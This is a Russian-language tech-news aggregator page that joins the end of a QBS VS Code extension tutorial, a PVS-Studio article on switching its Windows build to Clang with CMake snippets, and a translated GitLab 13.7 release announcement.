После того, как сканирование проекта успешно завершится, то можно переключится на дерево проекта, предоставляемого расширением. Для чего необходимо нажать на кнопку QBS на левой панели редактора:



Примечание: В этом случае, дерево проекта отображает все под-проекты, продукты, группы и артифакты, предоставляемые QBS после сканирования проекта.

Примечание: Редактор также отображает и полную директорию проекта после его открытия, но это не то дерево, которое предоставляется данным расширением, это встроенная функция самого редактора.

Сборка проекта



Для сборки проекта необходимо выбрать нужный профиль, конфигурацию и продукт для сборки.

  • Выбор профиля сводится к нажатию соответствующей кнопки внизу на панели инструментов редактора и выбору нужного пункта из списка доступных профилей:



  • Выбор конфигурации сводится к нажатию соответствующей кнопки внизу на панели инструментов редактора и выбору нужного пункта из списка доступных конфигураций:



  • Выбор продукта сводится к нажатию соответствующей кнопки внизу на панели инструментов редактора и выбору нужного пункта из списка доступных продуктов:



    Примечание: Пользователь может выбрать [all] для сборки всех продуктов в проекте.



Для запуска самой сборки пользователь может нажать на кнопку Build внизу на панели инструментов редактора:



Примечание: Процесс сборки будет отображаться как в выпадающем уведомлении, так и в выходном окне сообщений.

Выбор продукта для запуска или отладки



Чтобы запустить или отладить продукт, его необходимо сначала выбрать. Для этого нужно нажать на соответствующую кнопку внизу на панели инструментов редактора и выбрать нужный продукт из списка доступных:



При этом, если продукт уже скомпилирован и его исполняемый файл существует, то кнопки Run и Debug закрасятся зеленым цветом:



Кроме того, при наведении на запускаемый продукт отобразится всплывающая подсказка, содержащая полный путь к исполняемому файлу продукта:



Запуск выбранного продукта



Для запуска продукта достаточно нажать на кнопку Run внизу на панели инструментов редактора:



Продукт будет запущен в терминале QBS Run, в который будут выведены все отладочные сообщения работающего приложения:



Отладка выбранного продукта



Перед отладкой продукта необходимо создать конфигурацию отладчика, которая должна храниться в файле launch.json.

Примечание: Подробнее о формате этого файла можно ознакомиться в оффициальной документации редактора.

По умолчанию текущее QBS расширение ожидает этот файл в директории .vscode/ в корне открытого проекта. Но этот путь к файлу launch.json может быть изменен пользователем в настройках плагина.

Например, при использовании отладчика из MSVC, этот файл может иметь такое содержимое:

{    "version": "0.2.0",    "configurations": [        {            "name": "C++ Debugger (Windows)",            "type": "cppvsdbg",            "request": "launch",            "externalConsole": false        }    ]}


Примечание: Свойство externalConsole должно быть установлено в false если мы хотим видеть отладочные сообщения приложения в окне отладчика.

Примечание: Этот файл может иметь несколько конфигураций для одного и того же, или разных отладчиков (таких как MSVC, GDB, LLDB).

После того как файл launch.json создан и скопирован в нужное место, нужно выбрать нужный отладчик из списка, нажав на соответствую кнопку внизу справа на на панели инструментов редактора:



Теперь можно устанавливать точку останова в исходном коде выбранного продукта и нажимать на кнопку Debug внизу на панели инструментов редактора:



После этого можно наслаждаться отладкой:



Заключение



Конечно, в данном обзоре не раскрыты некоторые другие моменты работы с редактором (например, работа через команды), а также не дано пояснение для опций настройки QBS. Подробнее ознакомиться об этом можно, прочитав документацию, идущую в комплекте с расширением и/или документацию по QBS:



В заключение хочу сказать большое спасибо всем кто помогал мне тестировать это расширение, предлагал новые идеи.

Также, настоятельная просьба все ошибки, пожелания, исправления слать на баг-трекер.
Подробнее..
Категории: C++ , Qt , Системы сборки , Visual studio , Vscode , Qbs

Опыт команды PVS-Studio повышение производительности C анализатора на Windows при переходе на Clang

31.05.2021 18:12:13 | Автор: admin

С самого своего начала C++ анализатор PVS-Studio для Windows (тогда еще Viva64 версии 1.00 в 2006 году) собирался компилятором MSVC. С выходом новых релизов C++ ядро анализатора научилось работать на Linux и macOS, и структура проекта была переведена на использование CMake. Но под Windows сборка по-прежнему происходила с помощью компилятора MSVC. 29 апреля 2019 года разработчики Visual Studio объявили о включении в свою среду разработки набора утилит LLVM и компилятора Clang. И сейчас у нас наконец дошли руки, чтобы попробовать его в действии.

Тестирование производительности

В качестве бенчмарка воспользуемся нашей утилитой для регрессионного тестирования анализатора под названием SelfTester. Суть её работы заключается в анализе набора разных проектов и сравнении результатов анализа с эталонными. Например, если при каких-то правках в ядре анализатора появились ложные предупреждения или пропали правильные, значит появилась регрессия, которую надо исправить. Более подробно про SelfTester можно прочитать в статье "Лучшее враг хорошего".

Среди тестовой базы достаточно разнообразные по объёму кода проекты. Как правило, если рабочий компьютер или тестовый сервер не нагружен, то время тестирования SelfTester'ом на одной и той же версии ядра варьируется в пределах погрешности. В случае если производительность анализатора не уберегли, это значительно скажется на общем времени тестирования.

После того как сборка C++ ядра перешла на Clang, SelfTester стал проходить на 11 минут быстрее.

Выигрыш по производительности в 13% это довольно заметно, учитывая, что достаточно просто поменять компилятор, не так ли?

Минусы тоже есть, но незначительные. Сборка дистрибутива замедлилась на 8 минут, а размер исполняемого файла подрос на 1,6 Мбайт (из них ~500 Кбайт из-за статической линковки рантайма).

Видимо, производительность достигается более долгим этапом LTO (большую часть сборки занимает именно линковка) и более агрессивным раскручиванием циклов и встраиванием функций.

Далее хочется поделиться подводными камнями, возникшими в процессе перехода.

Генерация сборки под Clang

Скрипты CMake позволяют нам собирать свой код всеми мейнстримными компиляторами под нужные операционные системы.

Прежде всего необходимо установить компоненты компилятора Clang через Visual Studio Installer.

Clang-cl это так называемый "драйвер", который позволяет использовать clang с параметрами от cl.exe. Таким образом, он должен прозрачно взаимодействовать с MSBuild, практически как родной компилятор.

Также можно воспользоваться официальными сборками от проекта LLVM, которые можно найти на их репозитории GitHub. Однако для них нужно установить дополнительный плагин, чтобы Visual Studio смогла найти компиляторы. Имя toolset'а будет llvm, а не clangcl, как показано дальше в примерах.

Указываем toolchain в команде генерации solution для Visual Studio:

cmake -G "Visual Studio 16 2019" -Tclangcl <src>

Либо используем GUI:

Открываем получившийся проект, собираем. И, конечно же, получаем пачку ошибок.

Чиним сборку

Хоть сlang-cl внешне и ведет себя как CL, под капотом это совсем другой компилятор, со своими приколами.

Мы стараемся не игнорировать предупреждения компиляторов, поэтому используем флаги /W4 и /WX. Однако Clang может генерировать дополнительные предупреждения, которые сейчас мешают сборке. Пока выключим их:

if (CMAKE_CXX_COMPILER_ID MATCHES "Clang")  ....  if (WIN32)    add_compile_options(-Wno-error=deprecated-declarations                        -Wno-error=reorder-ctor                        -Wno-error=format-security                        -Wno-error=macro-redefined                        -Wno-error=bitwise-op-parentheses                        -Wno-error=missing-field-initializers                        -Wno-error=overloaded-virtual                        -Wno-error=invalid-source-encoding                        -Wno-error=multichar                        -Wno-unused-local-typedef                        -Wno-c++11-narrowing)  ....  endif()endif()

Немного получше.

Компиляторы GCC и Clang имеют встроенную поддержку типа int128, в отличие от MSVC под Windows. Поэтому в своё время была написана обертка с реализацией Int128 для Windows (на ассемблерных вставках и обернутая ifdef'ами, в лучших традициях C/C++). Поправим определения для препроцессора, заменив:

if (MSVC)  set(DEFAULT_INT128_ASM ON)else ()  set(DEFAULT_INT128_ASM OFF)endif ()

на

if (MSVC AND NOT CMAKE_CXX_COMPILER_ID MATCHES "Clang")  set(DEFAULT_INT128_ASM ON)else ()  set(DEFAULT_INT128_ASM OFF)endif ()

Обычно библиотеку с builtin'ами линкеру (lld) передает драйвер компилятора, будь то clang.exe или clang-cl.exe. Но в данном случае линкером заправляет MSBuild напрямую, который не знает, что нужно её использовать. Соответственно, драйвер никак не может передать флаги линкеру, поэтому приходится разбираться самим.

if (CMAKE_GENERATOR MATCHES "Visual Studio")  link_libraries("$(LLVMInstallDir)\\lib\\clang\\\${CMAKE_CXX_COMPILER_VERSION}\\lib\\windows\\\clang_rt.builtins-x86_64.lib")else()  link_libraries(clang_rt.builtins-x86_64)endif()

Ура! Сборка заработала. Однако дальше при запуске тестов нас ждала куча ошибок сегментации:

Отладчик при этом показывает какое-то странное значение в IntegerInterval, а на самом деле проблема находится немного дальше:

В разных структурах для Dataflow-механизма активно применяется ранее упомянутый тип Int128, а для работы с ним используются SIMD-инструкции. И падение вызвано невыровненным адресом:

Инструкция MOVAPS перемещает из памяти набор чисел с плавающей запятой в регистры для SIMD-операций. Адрес при этом обязан быть выровнен, в его конце должен стоять 0, а оказалась 8. Придется помочь компилятору, задав правильное выравнивание:

class alignas(16) Int128

Порядок.

Последняя проблема вылезла из-за Docker-контейнеров:

Сборка под MSVC всегда делалась со статической линковкой рантайма, а для экспериментов с Clang рантайм переключили на динамический. Оказалось, что в образах с Windows по умолчанию не установлены Microsoft Visual C++ Redistributable. Решили вернуть статическую линковку, чтобы у пользователей не возникало таких же неприятностей.

Заключение

Несмотря на то, что пришлось немного повозиться с подготовкой проекта, мы остались довольны ростом производительности анализатора более чем на 10%.

Последующие релизы PVS-Studio на Windows будут собираться с помощью компилятора Clang.

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Alexey Govorov, Sergey Larin. PVS-Studio Team: Switching to Clang Improved PVS-Studio C++ Analyzer's Performance.

Подробнее..

Перевод Вышел релиз GitLab 13.7 с проверяющими для мерж-реквестов и автоматическим откатом при сбое

12.01.2021 16:20:24 | Автор: admin

Картинка для привлечения внимания


Ну и год же был 2020! Мы счастливы представить релиз 13.7 с более чем 45 фичами и улучшениями поставки ПО, вышедший как раз к праздникам.


От имени всех сотрудников GitLab мы хотим поблагодарить участников нашего сообщества за ваш вклад и за то положительное влияние, которое вы оказываете на нашу работу. Без вас GitLab не был бы таким, как сейчас.


Благодарим вас и всех членов команды GitLab, которые помогли сделать 2020 год невероятным, несмотря на невзгоды и непредсказуемые обстоятельства. Пожалуйста, оставайтесь в безопасности, будьте счастливы и здоровы в этот праздничный период.


Вот что вас ждёт в релизе 13.7:


Улучшенное управление проектами для развития совместной работы


Мерж-реквесты (в русской локализации GitLab запросы на слияние) имеют решающее значение для развития совместной работы и могут быть напрямую связаны с соответствующими тикетами, предоставляя центральное место для общения посредством комментариев, предложений по изменениям в коде и ревью кода. В этом релизе мы добавили проверяющих для мерж-реквестов способ улучшить процесс ревью кода, сделав его более лёгким и организованным. Теперь вы сможете быстро выяснить, кто участвовал в мерж-реквесте, или запросить у кого-то ревью, отправив соответствующее уведомление.


Переключение контекста и выполнение заданий вручную в рабочем процессе затрудняют эффективное взаимодействие между группами и проектами. Это означает, что вы проводите меньше времени за разработкой ценных фич и больше времени тратите на работу с проектами, поэтому возможность клонировать тикеты с помощью быстрых действий наверняка вам пригодится, поскольку поможет оптимизировать управление проектами и гибкое планирование с agile.


Совместная работа над проектами и частое итерирование при разработке ваших приложений подразумевают, что вы должны быть в состоянии быстро определить степень важности ваших тикетов, выявить любые блокирующие задачи и использовать эту информацию для расстановки приоритетов при принятии решений. Теперь вы можете сортировать по количеству блокируемых тикетов, чтобы быстрее находить те тикеты, которые блокируют прогресс по другим тикетам.


Улучшена автоматизация релизов и гибкость развёртывания


В управлении организацией, автоматизацией и развёртыванием приложений на регулярной основе вам необходима гибкость. Надёжное и частое развёртывание приложений позволяет быстрее поставлять продукт заказчикам.


Чтобы улучшить автоматизацию релизов в GitLab, мы добавили автоматический откат в случае сбоя. Эта фича отменяет неудачное развёртывание, восстанавливает последнее успешное развёртывание и посылает автоматическое уведомление об этом. Вам не придётся вносить изменения вручную, и вы можете быть уверены, что потенциальные проблемы не приведут к простоям и ситуация не ухудшится, пока вы работаете над устранением неполадок.


Ещё одно улучшение, которое хорошо сочетается с автоматическим откатом в случае сбоя, возможность посмотреть статус развёртывания на странице окружений. Просматривать статусы развёртываний стало гораздо удобнее, как и определять, какие действия вам нужно предпринять, например, остановить или откатить развёртывание.


Мы также выпустили первую официально поддерживаемую бета-версию контейнера обработчика заданий GitLab для Red Hat OpenShift, а также нашего сертифицированного оператора обработчиков заданий, чтобы дать вам больше свободы в том, как вы выпускаете релизы с GitLab. Мы работаем над тем, чтобы сделать эту фичу общедоступной, так что следите за новостями в будущих релизах.


Более надёжное и эффективное управление пакетами и зависимостями


Ваш рабочий процесс зависит от множества языков программирования, бинарных файлов, интеграций и артефактов, которые являются важными входными или выходными данными в вашем процессе разработки. Чем эффективнее вы управляете своими пакетами и зависимостями, тем меньше рабочего времени уходит впустую. Чтобы повысить эффективность работы с реестром пакетов, мы добавили быстрый поиск и просмотр общих пакетов.


Мы также внесли улучшения в прокси зависимостей от GitLab; кстати, эта фича была перенесена в Core в GitLab 13.6.


Теперь вы можете вписаться в ограничения запросов Docker и ускорить работу конвейеров (в русской локализации GitLab сборочные линии) благодаря кэшированию образов контейнеров, размещённых на DockerHub, и быть уверенными в надёжности и эффективности работы с образами.


Ещё одно улучшение, которого ожидали многие из нашего сообщества, прокси зависимостей теперь работает и с приватными проектами, так что теперь этой фичей смогут воспользоваться и те пользователи, которые предпочитают работать с приватными проектами.


И, наконец, вы можете использовать предопределённые переменные с прокси зависимостей взамен того, чтобы полагаться на свои собственные определённые переменные или вшитые значения в вашем файле gitlab.ci-yml. Таким образом, появился более масштабируемый и эффективный способ начать проксирование и кэширование образов.


И это ещё не всё!


Взгляните на ещё несколько классных новых фич релиза 13.7:



Это всего лишь некоторые из множества новых фич и улучшений производительности этого релиза. Если вы хотите заранее узнать, что вас ждёт в следующем месяце, загляните на страницу будущих релизов, а также посмотрите наше видео по релизу 13.8.


6-7го января у нас прошёл виртуальный хакатон, узнайте больше об этом и будущих мероприятиях от GitLab здесь.


GitLab MVP badge


MVP этого месяца Rachel Gottesman


Rachel активно помогала нашей команде технических писателей внедрить согласованный стиль в документации для исправления использования будущего времени в наших документах. В релизе 13.7 Rachel открыла 33 мерж-реквеста, чем помогла нашей команде справиться с этой важной и кропотливой задачей. Спасибо, Rachel!


Основные фичи релиза GitLab 13.7


Проверяющие для мерж-реквестов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Попросить коллегу просмотреть ваш код должно быть обычной частью рабочего процесса, но иногда это бывает неоправданно сложно. Такая простая задача, как запрос на ревью, может привести к путанице. Например, как именно следует запрашивать: через электронное письмо, комментарий, сообщение в чате? Без формального механизма ревью мерж-реквестов могут быть непоследовательными, и за их проведением будет сложно уследить. Раньше уже можно было назначить проверяющего на мерж-реквест, но и автор, и рецензент отображались в одном и том же поле Assignee, что не позволяло другим членам команды узнать, кто за что отвечал в этом мерж-реквесте.


GitLab 13.7 представляет новую фичу теперь авторы мерж-реквеста могут запросить ревью у конкретных пользователей. В новом поле Reviewers пользователи могут быть назначены проверяющими для мерж-реквеста аналогичным образом, как назначаются ответственные (assignee). Назначенные на ревью пользователи получат уведомление, предлагающее им просмотреть мерж-реквест. Таким образом, теперь существует формальный процесс запроса ревью для мерж-реквеста и уточняются роли каждого пользователя в работе над ним.


Будущие итерации будут включать отображение наиболее подходящих проверяющих для мерж-реквеста, а также усовершенствованный процесс подтверждения мерж-реквеста, который будет сфокусирован именно на проверяющих. Подробнее об этом вы можете узнать в эпике по назначению проверяющих для ревью мерж-реквестов.


Reviewers for Merge Requests


Документация по назначению проверяющих для мерж-реквеста и оригинальный тикет.


Автоматический откат в случае сбоя


(ULTIMATE, GOLD) Стадия цикла DevOps: Release


Если у вас возникла критическая проблема с развёртыванием, ручные действия по её устранению могут занять довольно много времени и привести к сбоям на продакшене, что негативно скажется на пользователях. Теперь вы можете использовать автоматический механизм отката, который возвращает ваше развёртывание обратно к последнему успешному развёртыванию. Кроме того, когда GitLab находит проблемы на продакшене, он автоматически уведомляет вас об этом. Так вы всегда будете своевременно узнавать о проблемах, и получите драгоценное время для отладки, исследования и исправления проблем без лишних простоев в работе.



Документация по автоматическому откату при сбое и оригинальный тикет.


Клонирование тикета через быстрое действие


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


Чтобы сделать создание похожих тикетов более эффективным, тикеты теперь поддерживают быстрое действие /clone, которое создаёт в том же проекте новый тикет с идентичными названием, описанием и метаданными. Быстрое действие /clone заменяет более трудоёмкий процесс, который включал в себя несколько шагов для создания тикета, копирования идентификатора или пути к исходному тикету и использование быстрого действия copy_meta.


По умолчанию тикеты клонируются в тот же проект и не включают в себя системные заметки и комментарии, но вы можете изменить поведение по умолчанию при клонировании.


Clone an issue with a quick action


Документация по быстрым действиям и оригинальный тикет.


Обработчик заданий GitLab для Red Hat OpenShift


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


Наконец-то стал доступен образ контейнера обработчика заданий GitLab (GitLab runner) для платформы контейнеров Red Hat OpenShift! Чтобы установить обработчик заданий на OpenShift, воспользуйтесь новым оператором обработчиков заданий GitLab. Он доступен на бета-канале в Red Hat's Operator Hub веб-консоли для администраторов кластеров OpenShift, уже развёрнутой по умолчанию на платформе, где они могут найти и выбрать операторы для установки на своём кластере. На платформе контейнеров OpenShift Operator Hub уже развёрнут по умолчанию. Мы планируем перенести оператор обработчика заданий GitLab на стабильный канал, а в начале 2021 года в общий доступ. Наконец, мы также разрабатываем оператор для GitLab, так что следите за будущими публикациями.


GitLab Runner for Red Hat OpenShift


Документация по установке на OpenShift и оригинальный тикет.


Просмотр статуса развёртываний на странице окружений


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


Ранее на странице окружений не было никакого способа узнать о том, что сейчас выполняется развёртывание. Теперь на этой странице отображаются статусы развёртываний и предупреждения, благодаря чему вы можете принять решение о том, какие действия нужно предпринять, основываясь на статусе развёртывания (успешное, неудачное или текущее). Например, можно остановить текущее развёртывание или откатить завершённое.


Show deployment status on the Environments page


Документация по работе с окружениями и оригинальный тикет.


Задавайте через пользовательский интерфейс процент трафика для канареечного развёртывания


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Release


В GitLab 13.7 вы можете менять процент трафика для канареечного развёртывания (значение canary-weight) непосредственно с досок развёртывания в пользовательском интерфейсе. Вы также можете менять это значение из gitlab-ci.yml и через API, но сделав это в пользовательском интерфейсе, вы сможете наблюдать за развёртыванием и при необходимости отмасштабировать поды прямо с досок развёртывания. Так у вас будет больше контроля над ручными или инкрементальными развёртываниями по таймеру, а также вы сможете лучше контролировать и даже снижать риски.


Set deployment traffic weight via the UI


Документация по заданию процента трафика для канареечного развёртывания и оригинальный тикет.


Просмотр частоты развёртываний через API


(ULTIMATE, GOLD) Стадия цикла DevOps: Release


В этом релизе в рамках первой итерации встроенной в GitLab поддержки метрик DORA4 была добавлена возможность узнавать частоту развёртываний на уровне проекта через API. Это позволяет отслеживать эффективность развёртывания с течением времени, легко находить узкие места и при необходимости быстро принимать меры по корректировке.


API support for deployment frequency


Документация по аналитике проектов и оригинальный тикет.


Поддержка нескольких файлов манифеста в проекте


(PREMIUM, ULTIMATE) Стадия цикла DevOps: Configure


В предыдущих релизах для использования нашего агента для Kubernetes (GitLab Kubernetes Agent) требовалось, чтобы пользователи собирали все ресурсы Kubernetes в один файл манифеста. Теперь же агент может собирать манифесты Kubernetes рекурсивно из указанных каталогов в вашем проекте. Ваши специалисты по платформе теперь смогут использовать один репозиторий для управления различными кластерами из единого места, а также описывать крупные развёртывания с помощью одного агента.


Support multiple manifest files in a project


Документация по настройке репозитория с агентом Kubernetes и оригинальный тикет.


Импорт требований из внешних инструментов


(ULTIMATE, GOLD) Стадия цикла DevOps: Plan


Для эффективной совместной работы очень важно, чтобы все ваши требования хранились в одном месте, поэтому мы рады сообщить, что теперь вы можете импортировать требования из CSV-файлов!


Благодаря этой фиче вы сможете всей командой работать над требованиями в GitLab, и в то же время с лёгкостью взаимодействовать с клиентами, поставщиками и внешними организациями. Следите за обновлениями о будущих улучшениях экспорта требований.


Import requirements from external tools


Документация по импорту требований из CSV-файла и оригинальный тикет.


Несколько конечных точек HTTP для оповещений


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Monitor


Интеграции оповещений являются критически важной частью ваших рабочих процессов по управлению инцидентами, поэтому важно иметь точный контроль над конечными точками и токенами аутентификации. Меньше всего вам нужно, чтобы все ваши оповещения перестали работать из-за смены одного токена аутентификации. Настройка конечной точки HTTP для каждого инструмента мониторинга позволит вашей команде управлять каждым инструментом в отдельности, не влияя на оповещения от других инструментов.


Integrate alerting tools with multiple HTTP endpoints


Документация по конечным точкам для оповещений и оригинальный эпик.


Синхронизация групп на GitLab.com с помощью SAML


(SILVER, GOLD) Стадия цикла DevOps: Manage


В GitLab 13.7 вы можете привязать группу в вашем поставщике учётных записей к группе на GitLab.com с помощью SAML. Членство в группе будет обновляться, когда пользователь войдёт в учётную запись GitLab через своего провайдера SAML. Эта фича снижает необходимость в ручном назначении групп, что снижает загрузку по группам для администраторов GitLab. Синхронизация групп также улучшает адаптацию новых членов групп, избавляя их от необходимости запрашивать доступ у администраторов групп GitLab.


SAML Group Sync for GitLab.com


Документация по синхронизации групп с помощью SAML и оригинальный эпик.


Другие улучшения в GitLab 13.7


DevOps Adoption


(ULTIMATE) Стадия цикла DevOps: Manage


DevOps Adoption показывает вам, какие команды в вашей организации используют тикеты, мерж-реквесты, подтверждения, обработчики заданий, конвейеры, развёртывания и сканирования в GitLab. Используйте также новую фичу сегменты, чтобы собрать ваши группы GitLab в логические единицы в рамках вашей организации, чтобы вы могли сравнивать, как используют GitLab среди нескольких разных групп.


  • Убедитесь, что вы получаете ожидаемую отдачу от использования GitLab.
  • Узнайте, какие группы отстают во внедрении GitLab, и помогайте им с настройкой DevOps.
  • Узнайте, какие группы используют определённые фичи, такие как конвейеры, и могут поделиться своим опытом с другими группами, которые хотят начать ими пользоваться.

DevOps Adoption


Документация по DevOps Adoption и оригинальный тикет.


Улучшенный пользовательский интерфейс для создания проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


С улучшенным пользовательским интерфейсом для добавления проекта вам будет проще выбрать между созданием пустого проекта, проекта из шаблона, импортом проекта и созданием проекта CI/CD для внешних репозиториев.


Документация по созданию проектов и оригинальный тикет.


Ограничение создания проектов и групп для внешних аккаунтов


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Manage


Для снижения риска случайного раскрытия интеллектуальной собственности администраторы GitLab теперь имеют больший контроль над аккаунтами, предоставляемыми через интеграцию группы с помощью SAML или SCIM. В первой итерации этой фичи администраторы могут запрещать своим пользователям создавать группы или проекты вне групп, к которым они принадлежат.


Документация по настройкам пользователя через SAML и оригинальный тикет.


Сортировка по числу блокируемых тикетов


(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


При сортировке списка тикетов в GitLab часто бывает важно определить, какие из них необходимо выполнить наиболее срочно, и блокируют ли они другие тикеты.


Ранее в списке тикетов было невозможно посмотреть, какие из тикетов блокируют другие. Единственный способ это сделать это открыть каждый из них и просмотреть список блокируемых тикетов под описанием тикета, что занимает очень много времени.


В версии 13.7 вы можете использовать фильтр Блокирует другие тикеты для списка тикетов, чтобы отсортировать его по числу блокируемых тикетов.


Sort issues by the number of issues they are blocking


Документация по сортировке и оригинальный тикет.


Просмотр файлов в мерж-реквестах по одному


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Ревью мерж-реквестов это важнейшая задача для обеспечения качества кода всех участников, так как именно здесь происходит большая часть обсуждений между автором и ревьюером. Однако, по мере того, как мерж-реквесты становятся крупнее и число файлов в них увеличивается, навигация и производительность диффов могут ухудшаться.


В GitLab 13.7 мы добавили возможность просматривать файлы по одному при просмотре мерж-реквеста. При переходе на вкладку мерж-реквеста Изменения кликните на иконку с шестерёнками и поставьте галочку Показывать файлы по одному. После выбора этого параметра вы сможете просматривать файлы по одному, переключаясь между ними при помощи кнопок Предыдущий и Следующий.


В этом режиме ваше рабочее пространство выглядит менее перегруженным, и вам проще сосредоточиться на одном файле. Кроме того, при этом повышается производительность и улучшается навигация по диффу мерж-реквеста.


Choose to show one file at a time directly from merge requests


Документация по ревью и управлению мерж-реквестами и оригинальный тикет.


Просмотр изменений мерж-реквеста в VS Code


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


При ревью мерж-реквестов в VS Code для обращения к изменениям зачастую приходится делать checkout ветки и затем пытаться разобраться в диффе между этой веткой и целевой веткой мержа.


С релизом 3.7.0 расширения GitLab Workflow изменения мерж-реквеста стали доступны напрямую в VS Code. Это позволяет быстро просматривать изменения в мерж-реквестах ваших проектов.


В рамках работы над добавлением полноценного ревью кода в VS Code следующим шагом мы собираемся добавить комментарии к диффам.


View Merge Request changes in VS Code


Документация по расширению для VS Code и оригинальный тикет.


Улучшенное скачивание артефактов для вложенных конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


Ранее при скачивании артефактов из родительского конвейера во вложенный не всегда можно было получить нужные артефакты. Если два вышестоящих конвейера были запущены примерно в одно время, то вложенный конвейер мог скачать артефакты и из более нового конвейера.


Теперь вы можете использовать новый синтаксис needs:pipeline, чтобы указать вложенному конвейеру, из какого конвейера ему нужно скачивать артефакты. Вы можете использовать его, чтобы скачивать артефакты из родительского конвейера или из другого вложенного конвейера в рамках той же иерархии.


Improved artifact downloads with child pipelines


Документация по скачиванию артефактов для вложенных конвейеров и оригинальный тикет.


Обход ограничений Docker и ускорение конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package
Для более быстрых и надёжных сборок вы можете использовать нашу фичу, прокси зависимостей, для кэширования образов контейнеров из Docker Hub. Однако, когда Docker начал применять ограничения по количеству запросов docker pull, вы могли заметить, что даже когда ваш образ скачивался из кэша, Docker всё равно засчитывал его в лимит. Это происходило потому, что прокси зависимостей кэшировал только слои (или блоб-объекты) образа, но не манифест, который содержит информацию о том, как собрать данный образ. Так как манифест был необходим для сборки, всё равно приходилось выполнять pull. А если Docker Hub был недоступен, вы не могли скачать нужный образ.
Начиная с этого релиза прокси зависимостей будет кэшировать и слои, и манифест образа. Так что при первом скачивании с использованием alpine:latest образ будет добавлен в кэш прокси зависимостей, и это будет считаться за один pull. В следующий раз, когда вы будете скачивать alpine:latest, всё будет скачиваться из кэша, даже если Docker Hub недоступен, и это скачивание не будет учитываться в лимите Docker.


Напоминаем вам, что начиная с 13.6 прокси зависимостей стал доступен в плане Core. Поэтому попробуйте эту фичу сейчас и скажите нам, что вы о ней думаете. Или даже лучше, помогите нам с открытыми тикетами.



Документация по прокси зависимостей и оригинальный тикет.


Быстрый поиск и просмотр общих пакетов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Вы можете с лёгкостью публиковать общие файлы, такие как бинарные файлы релиза, через реестр пакетов GitLab. Однако, если вы используете пользовательский интерфейс пакетов или другой формат менеджера пакетов, то возможно вы заметили, что не можете выбрать вкладку для быстрого просмотра только ваших общих пакетов.


Недавно мы добавили в пользовательский интерфейс пакетов вкладку Общие пакеты, чтобы вы могли отфильтровать список пакетов для просмотра только общих пакетов. Мы надеемся, что это поможет вам находить и проверять ваши пакеты более быстро и эффективно.



Документация по просмотру пакетов и оригинальный тикет.


Прокси зависимостей для приватных проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Вы можете использовать прокси зависимостей GitLab для проксирования и кэширования образов контейнеров из Docker Hub. До последнего времени эта фича была доступна только для публичных групп, что не позволяло многим пользователям её использовать.


Теперь вы можете использовать прокси зависимостей и для приватных проектов. Вы можете снизить свои скачивания с Docker Hub путём кэширования ваших образов контейнера для использования их в будущем. Так как прокси зависимостей хранит образы Docker в пространстве, связанном с вашей группой, вы должны авторизоваться с вашим логином и паролем GitLab или с личным токеном доступа, для которого есть разрешение как минимум на чтение (read_registry).


Документация по прокси зависимостей и оригинальный тикет.


Улучшенная поддержка анализаторов SAST для нескольких проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Secure


В GitLab сканирования безопасности автоматически определяют язык кода и запускают подходящие анализаторы. В случае монорепозиториев, микросервисов и репозиториев для нескольких проектов в одном репозитории GitLab может существовать больше одного проекта. Ранее наши инструменты безопасности могли определять язык кода только в одиночных проектах в репозиториях. Начиная с этого релиза наши анализаторы SAST могут определять языки кода в репозиториях с несколькими проектами, запускать подходящие сканирования для каждого проекта и составлять отчёт о уязвимостях. Это делает
управление инструментами безопасности проще и удобнее для пользователей с одним репозиторием для нескольких проектов. В следующих релизах мы продолжим улучшать панель безопасности и отчёты для этих типов проектов.


Документация по поддержке репозиториев для нескольких проектов и оригинальный эпик.


Описание релиза во внешнем файле


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


Если вы создаёте релизы в конвейерах через файл .gitlab-ci.yml вашего проекта, вам, возможно, было сложно поддерживать в актуальном состоянии описание каждого релиза. В релизе GitLab 13.7 вы можете задавать описание вашего релиза в файле с контролем версий или в автоматически генерируемом файле и вызывать его из .gitlab-ci.yml. При этом содержимое файла загружается в описание релиза в формате Markdown. Это упрощает создание, поддержку и использование контроля версий для релизов, а также будет особенно полезно при автогенерации лога изменений. Огромное спасибо Nejc Habjan и Siemens за этот невероятный вклад!



Документация по описаниям релизов и оригинальный тикет.


Поддержка для версий Kubernetes 1.17, 1.18 и 1.19


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Configure


Поддержка GitLab для последних версий Kubernetes позволяет вам пользоваться преимуществами интеграций GitLab с Kubernetes, такими как GitLab Kubernetes Agent, Auto DevOps и на более поздних кластерах GitLab Managed Apps. В этом релизе GitLab добавил официальную поддержку для версий Kubernetes 1.17, 1.18 и 1.19.


